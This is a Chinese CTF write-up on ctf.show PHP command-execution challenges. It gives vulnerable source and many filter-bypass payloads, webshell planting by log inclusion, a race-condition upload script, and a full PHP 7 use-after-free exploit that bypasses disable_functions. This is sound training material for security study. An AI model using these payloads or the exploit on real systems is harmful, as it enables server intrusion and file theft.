- web 29-eval,过滤flag
- web 30-eval,过滤system
- web 31-eval,过滤cat、空格
- web 32-eval,过滤分号、括号
- web 33-35-eval,过滤分号、括号、双引号等
- web 36-eval,过滤数字
- web 37-include
- web 38-include,过滤php
- web 39-include,默认文件后缀
- web 40-无参数命令执行
- web 41
- web 42-system,命令重定向
- web 43-system,命令重定向,过滤分号、cat
- web 44-system,命令重定向,过滤分号、cat、flag
- web 45-system,命令重定向,过滤分号、cat、flag、空格
- web 46-51-system,命令重定向,过滤分号、cat、flag、空格、数字、*
- web 52-system,命令重定向,过滤分号、cat、flag、空格、数字、*
- web 53-system,绕过
- web 54-system,绕过
- web 55-system,无字母绕过
- !/bin/sh
- 先查找文件位置
- scandir — 列出指定路径中的文件和目录
- print_r — 以易于理解的格式打印变量。
- var_dump — 打印变量的相关信息
web 29-eval,过滤flag
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
命令执行函数:
system exec shell_exec 同 `` passthru shell_exec popen proc_open pcntl_exec
代码执行函数:eval、assert、preg_replace(\e)、回调函数(array_map、call_user_function等)
1、代码执行函数需嵌套命令执行函数使用,即将命令执行语句转化成php语言执行
如:eval(system(“whoami”););
2、system和passthru有回显,其余系统函数无回现会要配合echo等输出函数
如:eval(echo exec(“whoami”););
题中过滤了flag字符串,使用通配符绕过
c=system(“cat f“);
web 30-eval,过滤system
使用其他系统函数即可
c=passthru(“cat f“);
c=echo exec(“cat f“);
web 31-eval,过滤cat、空格
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
cat过滤使用tac、rev可绕过
空格使用tab、换行、回车等其他空格字符替代,使用url编码
c=passthru(“tac%09fl*”);
或者
web 32-eval,过滤分号、括号
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤括号,需要找php中不用括号的函数:
echo print include include_once require require_once
过滤分号,eval要求内容必须以;号结尾,但仍可以使用?>作为离开PHP模式
c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
由于include包含php文件不会在页面显示出来,考虑使用php伪协议读取
web 33-35-eval,过滤分号、括号、双引号等
同上
也可以使用日志包含来解决
?c=include$_GET[1]?>&1=/var/log/nginx/access.log
通过包含日志的方式,写入一句话木马
web 36-eval,过滤数字
同上,把参数改为字母即可
web 37-include
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
include函数与伪协议结合读取文件
当data://与包含函数结合时,用户输入的data://流会被当做php文件执行
?c=data://text/plain,<?php system(‘cat fla*’);?>
web 38-include,过滤php
将<?php替换为<?=
?c=data://text/plain,<?= system(‘cat fla*’);?>
或者使用base64编码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web 39-include,默认文件后缀
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
包含的文件默认加了后缀.php,但在php语句闭合后,后面的.php将不起作用
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
?c=data://text/plain,<?php system(“cat fl*”);?>
web 40-无参数命令执行
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
方法一-任意文件读取并输出
c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
方法二-无参数命令执行
web 41
web 42-system,命令重定向
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
该命令指将标准输出和错误输出都定向到/dev/null,相当于没有输出,此时用分隔符将两条命令分隔即可
system($c.” >/dev/null 2>&1”);
c=cat flag.php;
c=cat flag.php||
c=cat flag.php%26
c=cat flag.php%26%26
c=cat flag.php%0a
%26->& %0a->换行
web 43-system,命令重定向,过滤分号、cat
c=tac flag.php%0a
web 44-system,命令重定向,过滤分号、cat、flag
c=tac fla*%0a
web 45-system,命令重定向,过滤分号、cat、flag、空格
c=tac%09fla*%0a
web 46-51-system,命令重定向,过滤分号、cat、flag、空格、数字、*
空格替换
tab、换行、回车符 <、<> $IFS、$IFS$1、$IFS${10}、${IFS} {,}
通配符不能用的话flag可表示为
fla\g fla’g’ fla’’g
cat的替换命令
tac、 rev、 more、 less、 grep、 nl、head、tail、sed、sort、uniq
c=nl<fla’g’.php||
web 52-system,命令重定向,过滤分号、cat、flag、空格、数字、*
有个陷阱,当前目录下存在flag.php,但里面内容为空,正真的flag文件在根目录下/flag
c=nl$IFS/fla’g’||
web 53-system,绕过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
c=nl${IFS}fla’g’.php
web 54-system,绕过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
姿势一
c=uniq${IFS}f??????? c=uniq${IFS}f???.php
姿势二
c=/bin/ca?${IFS}f??????? c=/bin/ca?${IFS}f???.php
姿势三 对目标文件重命名,然后再访问新文件名即可
c=mv${IFS}f???.php${IFS}a.txt
web 55-system,无字母绕过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一-通配符
linux系统中/bin存放了各类常用系统命令,如:cd、ls、pwd、grep\base64等等
利用/bin/base64命令将文件内容输出
c=/???/????64 ????????
匹配 /bin/base64 flag.php
方法二-通配符
与方法一类似,利用/usr/bin中的命令bzip,将目标文件压缩,再访问该压缩包下载文件
c=/???/???/????2 ????????
匹配 /usr/bin/bzip2 flag.php
方法三-上传临时文件
原理参考
通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
理解无字母数字webshell执行学习这篇文章
首先构造一个post上传文件的数据包,创建本地前端页面在抓包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
?c=.%20/???/????????[@-[]
在上传内容添加命令
!/bin/sh
ls
读取flag
注意:该方法需要条件竞争,所以多点击几次
也能直接用脚本跑
#coding:utf-8
import requests
url="http://96be90a2-f13e-4f22-acbb-940f7ebbdf32.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
web 56-system,无字母、数字绕过
数字也给干掉了,只能用web55的方法三
web 57-$(( ))与整数运算
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
题目中过滤了绝大多数的字符,现在要构造36这个数字
知识点$(( )):
$表示获取运算(( ))的结果
$(( )) 等于 0
$((~$(()))) 等于 -1
根据经验$((~-n)) = n-1
那么构造36的话就是-37取反
$(($((~$(())))$((~$(()))))) 等于 -2
$((~$(($((~$(())))$((~$(()))))))) 等于 -1,即$((~-2))
所以可以构造出36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web 58-65-突破禁用函数
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
用post方法传入phpinfo();试试,发现报错
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()’d code on line 1
函数被禁用问题
方法一
考虑其他文件读取函数
读⽂件
file_get_contents()
readfile()
⾼亮显示
show_source()
highlight_file()
尝试后show_source、highlight_file可实现源码读取
c=show_source(“flag.php”);
c=highlight_file(“flag.php”);
网上找到其他解题姿势
c=$a=fopen(“flag.php”,”r”);while($b=fgets($a)){echo $b;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen(“flag.php”,”r”);echo fread($a,”1000”);
c=$a=fopen(“flag.php”,”r”);echo fpassthru($a);
方法二
通过复制或重命名的方式,读取副本文件内容
c=copy(“flag.php”,”a.txt”);
c=rename(“flag.php”,”b.txt”);
方法三
使用菜刀或蚁剑直接连接即可,题目中的代码就是一句话木马。
web 66-突破禁用函数
禁用了更多的函数,highlight_file函数还能用,不过文件和位置都变化了
c=print_r(scandir(“/“));
先查找文件位置
scandir — 列出指定路径中的文件和目录
print_r — 以易于理解的格式打印变量。
c=highlight_file(“/flag.txt”);
web 67-突破禁用函数
print_r被禁用,使用var_dump替换
c=var_dump(scandir(“/“));
var_dump — 打印变量的相关信息
c=highlight_file(“/flag.txt”);
web 68-突破禁用函数
c=var_dump(scandir(“/“));
show_source和highlight_file都被禁用
可以使用include直接包含
c=include(“/flag.txt”);
web 69-70-突破禁用函数
查找文件位置:
print_r和var_dump被禁用,使用var_export输出变量
c=var_export(scandir(“/“));
如果scandir被禁用还可用glob替换
c=var_export(glob(“/*”));
还可以使用foreach输出
c=$a=scandir(“/“);foreach($a as $value){echo $value.” “;}
c=$a=glob(“/“);foreach($a as $value){echo $value.” “;}
c=$a=new DirectoryIterator(‘glob:///‘);foreach($a as $f){echo($f->__toString().” “);}
输出文件内容:
c=include(“/flag.txt”);
web 71-exit结束进程绕过
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
输出的字符都被替换成了?,由于以下代码做了字符替换
$s = ob_get_contents(); ob_end_clean(); echo preg_replace(“/[0-9]|[a-z]/i”,”?”,$s);
可在传入命令之后,跟上exit或者die提前结束进程,导致后面的程序无法执行,从而绕过
c=var_export(glob(“/*”));exit();
c=include(“/flag.txt”);die();
web 72-绕过open_basedir限制
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
首先查找文件位置
c=var_dump(scandir(“/“));exit();
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()’d code on line 1
Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()’d code on line 1
Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(19) : eval()’d code on line 1
Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(19) : eval()’d code on line 1
从警告可知php中的open_basedir限制了访问路径,scandir()受到影响,并且var_dump()被禁用,接下来就是逐个函数替换
glob伪协议在筛选目录时不受open_basedir限制,foreach替换var_dumpc=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
找到了/flag0.txt,但是读取时也受open_basedir和disable_functions限制,看了大佬的方法得利用php7-backtrace-bypass
源码中str_repeat()也被禁用了,替换之后的最终脚本如下:
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
pwn("cat /flag0.txt");ob_end_flush();
将function pwn($cmd) 及以下内容url编码后赋值给参数c即可
web 73-74-突破禁用函数
同web 69
web 75-76-sql读取文件绕过禁用函数
先找到文件位置/flag36.txt
c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}exit();
然后读取,方法原理不懂,先记一下大神的解决方法吧
配置信息是之前题目进入后台后找到的,注意hackbar中不能有换行
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
web 77-FFI绕过禁用函数
提示了是php7.4
找到文件位置
c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}exit();
找到两个flag关键文件,直接cat flag36x.txt无法查看,需要用readflag文件读取
$ffi = FFI::cdef("int system(const char *command);"); #创建一个system对象
$a="/readflag > 1.txt"; #无回显,需要写入新的文件
$ffi->system($a); # 通过¥ffi去调用system函数
exit();
web 118-内置环境变量绕过字符限制
提示了:flag in flag.php
查看源代码需要POST方式给code传参,执行命令
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:400px;height:10px;margin:100px auto">
<form action='' method=post>
<input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 ">
</form>
<!-- system($code);-->
</div>
</body>
</html>
但是限制了小写字母、数字、/、等字符,之前的无数字、字母的方法用不了了
但?、{、}、大写字母可用,因此可利用Bash 内置环境变量绕过
常见的Bash 内置环境变量:
pwd、bash、path、SHELLOPTS
环境变量表示方式:
${变量名:起始位置(0开始):步长}
${变量名:~步长} 取反号 ~ 表示取末尾的几位
~字母:可表示取末尾的一位字符
其中${SHELLOPTS:23:1}${SHELLOPTS:28:1}可表示ls,但本题限制了数字所以不能用,不过提示了是flag.php,可以用????.???表示
*payload
code=${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
匹配 nl flag.php
由于pwd应该是/var/www/html,path最后应该是bin,所以也可表示为
code=${PATH:~A}${PWD:~A} ????.???
web 119-内置环境变量绕过字符限制
在上题的基础上进一步限制了BASH、PATH
用环境变量表示数字
${#变量}
${变量} 表示获取变量的值
${#变量} 表示获取变量的值的长度
${#} =====> 0
${#RANDOM} =====>表示一个随机数的长度,大概理是4和5
${#SHLVL} =====> 记录多个 Bash 进程实例嵌套深度的累加器,默认是1
其他变量,每个系统可能结果会不一样,需要猜:
${#TERM}
${#HOME}
${#HOSTNAME}
本题中
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${#}:${#SHLVL}} ====> /
想办法构造
/bin/cat flag.php=====>/???/??t ????.???=====>
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
web 120-内置环境变量绕过字符限制
同上,HOME也被限制了,还限制了长度
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web 121-内置环境变量绕过字符限制
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
SHLVL、~都限制了
SHLVL是用来表示数字1,${#?}、${#?}都可表示1
${PWD::${#?}} ========> /
${#IFS} ========> 3
当前路径/var/www/html
构造命令/bin/rev
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?${PWD::${#?}} ????.??? #超过了65的长度限制
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web 122-内置环境变量绕过字符限制
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
在上题的基础上PWD也被禁了,可以用HOME代替;#也被禁用,数字的话用$?表示
$? 表示获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。
报错结果分别是1和2
构造payload,/bin/base64 flag.php
${HOME::$?} =========> /
${RANDOM::$?} ========> 通过随机数生成4,需要不断刷新,可能碰到成功的机会
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web 124-利用math函数绕过字符限制
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
题目中设置了白名单(math函数)、黑名单、参数长度,需要用白名单里的函数构造rce
又是新的领域,参考文章php利用math函数rce总结
需要用到函数base_convert、dechex、hexdec
baseconvert(number,frombase,tobase) 在任意进制之间转换数字。 dechex(dec_number) 把十进制转换为十六进制。返回一个字符串,包含有给定 _binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。 hexdec(hexstring) 把十六进制转换为十进制。返回与 _hex_string 参数所表示的十六进制数等值的的十进制数。 其他的 decbin decbin decoct octdec 同上,分别是二进制、八进制与十进制的互转。
构造字母
十六进制的字母范围只有 a-f ,而三十六进制字母范围正好为 a-z ,所以可以用base_convert构造26个字母。
base_convert(‘system’, 36, 10) ========> 1751504350
base_convert(1751504350, 10, 36) ========> system
base_convert(‘ls’, 36, 10) ========> 784
base_convert(784, 10, 36) ========> ls
base_convert(1751504350, 10, 36)(base_convert(784, 10, 36)) ========> system(ls)
构造特殊符号
字母之外的* / 空格等符号需要用异或方式构造
按位异或运算的几个性质:
- 结合律a ^ b ^ c = a ^ c ^ b
- 交换律a ^ b = b ^ a
- 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;
以” “为例,以下异或方式都可以表示
dechex(22)^’asin’^’pow’
dechex(56)^’asin’^’rad2deg’
通过以下脚本,可匹配合适的函数,选取$k^$i^” “为全数字的
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];
foreach ($whitelist as $i):
foreach ($whitelist2 as $k):
echo $k^$i^" *";
echo " " . $i . " " . $k;
echo "\n";
endforeach;
endforeach;
原理在稍微说明一下:
a^b^a=b
把k^j看作一个值
k^i^” “^k^j=” “
因为k^i^” “ ===> 16 (十六进制表示),dechex(22)=16
所以dechex(22)^k^j=” “
最后的payload
c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(22)^asin^pow))
留了一个问题,为什么要构造出cat.( *)的形式?